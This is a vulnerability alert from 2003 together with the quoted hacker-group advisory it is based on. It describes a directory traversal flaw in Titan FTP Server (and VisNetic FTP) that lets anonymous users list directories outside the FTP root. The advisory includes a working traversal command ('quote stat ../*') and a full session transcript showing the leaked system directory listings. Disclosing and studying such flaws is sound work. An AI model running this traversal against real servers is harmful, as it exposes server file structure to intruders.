Titan FTP Server Discloses Directory Listings to Remote Authenticated Users, Including Anonymous Users
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SecurityTracker Alert ID: 1006875
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Updated: May 4 2004
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Original Entry Date: May 29 2003
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Impact: Disclosure of system information, Disclosure of user information
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Exploit Included: Yes
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Advisory: Damage Hacking Group
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Version(s): 2.02 build 99
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Description: A directory traversal vulnerability was reported in the Titan FTP Server. A remote authenticated user can view directory listings for directories located outside of the FTP root directory.
Damage Hacking Group reported that a remote authenticated user, including an anonymous FTP user, can use the following type of command
to "stat" arbitrary directories on the system:
quote stat ../*
A demonstration exploit transcript is provided in the Source
Message.
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Impact: A remote user can obtain directory listings and directory information for arbitrary directories on the target server.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.titanftp.com/products/titanftp/index.html (Links to External Site)
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Cause: Input validation error
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Underlying OS: Windows (Any)
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Message History:
None.
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Source Message Contents
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Date: Thu, 29 May 2003 01:12:42 -0400
Subject: TitanFTP server directory traversal
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# _____ __ __ ___ #
# ........\ \.| |.| |/ \........ #
# : / \| | | | __> : #
# : / _ \ |_| | / __ : #
# : / / \ | <_/ \ : #
# :..../ _/ / _ | ` \....: #
# : \_________/__| |__|_______/ : #
# : Damage Hacking Group : #
# : Security Advisory : #
# :.............................: #
# #
# http://www.dhgroup.org #
#b d#
##b,________________________________________________________.d##
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Products: TitanFTP server v2.02 build 99 &
VisNetic FTP server v2.00 build 94
Authors: www.titanftp.com
www.deerfield.com
| Vulnerability: directory traversal |
#--------------------------------------------------------------#
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Overview:
~~~~~~~~~
A FTP servers. They seems like a brothers and have identical
bugs :)
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#--------------------------------------------------------------#
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Problem:
~~~~~~~~
D:\WINNT>ftp 127.0.0.1
Connecting to 127.0.0.1.
220 Titan FTP Server 2.02.99 Ready.
User (127.0.0.1:(none)): anonymous
331 User name okay, need password.
Password:
230-Welcome anonymous from 127.0.0.1. You are now logged into the
server.
230 User logged in, proceed.
ftp> dir
200 PORT command successful.
150 File status okay; about to open data connection.
total 8
d--------- 1 owner group 512 May 24 20:35 .
d--------- 1 owner group 512 May 24 20:35 ..
d--------- 1 owner group 512 May 24 20:35 bin
d--------- 1 owner group 512 May 24 20:35 incoming
d-wx-wx--- 1 owner group 512 May 24 20:35 pub
d--------- 1 owner group 512 May 24 20:35 usr
- -rw------- 1 owner group 6 May 24 21:45 test2.txt
226 Closing data connection. Transferred 451 bytes.
ftp: 451 bytes received in 0,01seconds 45,10 (??/???).
ftp> quote stat ../*
212-Status of *
d--------- 1 owner group 512 May 24 20:35 .
d--------- 1 owner group 512 May 24 20:35 ..
d--------- 1 owner group 512 May 24 20:35 local
- -rw------- 1 owner group 6 May 24 21:45 test1.txt
d--------- 1 owner group 512 May 24 20:35 local
212 End of Status.
ftp> quote stat ../../*
212-Status of *
d--------- 1 owner group 512 May 24 20:33 srtFtpLogs
d--------- 1 owner group 512 May 24 20:35 srtFtpData
- -rw------- 1 owner group 6 May 24 21:51 test.txt
- -rw------- 1 owner group 29632 May 25 00:25 xpl.txt
d--------- 1 owner group 512 May 11 2002 Documents and
Settings
d--------- 1 owner group 512 May 13 22:27 Program Files
d--------- 1 owner group 512 May 22 17:10 WINNT
d--------- 1 owner group 512 May 24 20:35 local
212 End of Status.
ftp> close
221 Session Ended. Downloaded 0KB, Uploaded 0KB. Goodbye anonymous
from 127.0.0.1.
ftp> quit
D:\WINNT>^_^
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#--------------------------------------------------------------#
| Exploit: |
~~~~~~~~
none
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#--------------------------------------------------------------#
| :wow: |
~~~
NeKr0 /DHG www.dhgroup.org
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#______________________________________________________________#
\___________________________da_end___________________________/
Best regards www.dhgroup.org
D4rkGr3y icq 540981
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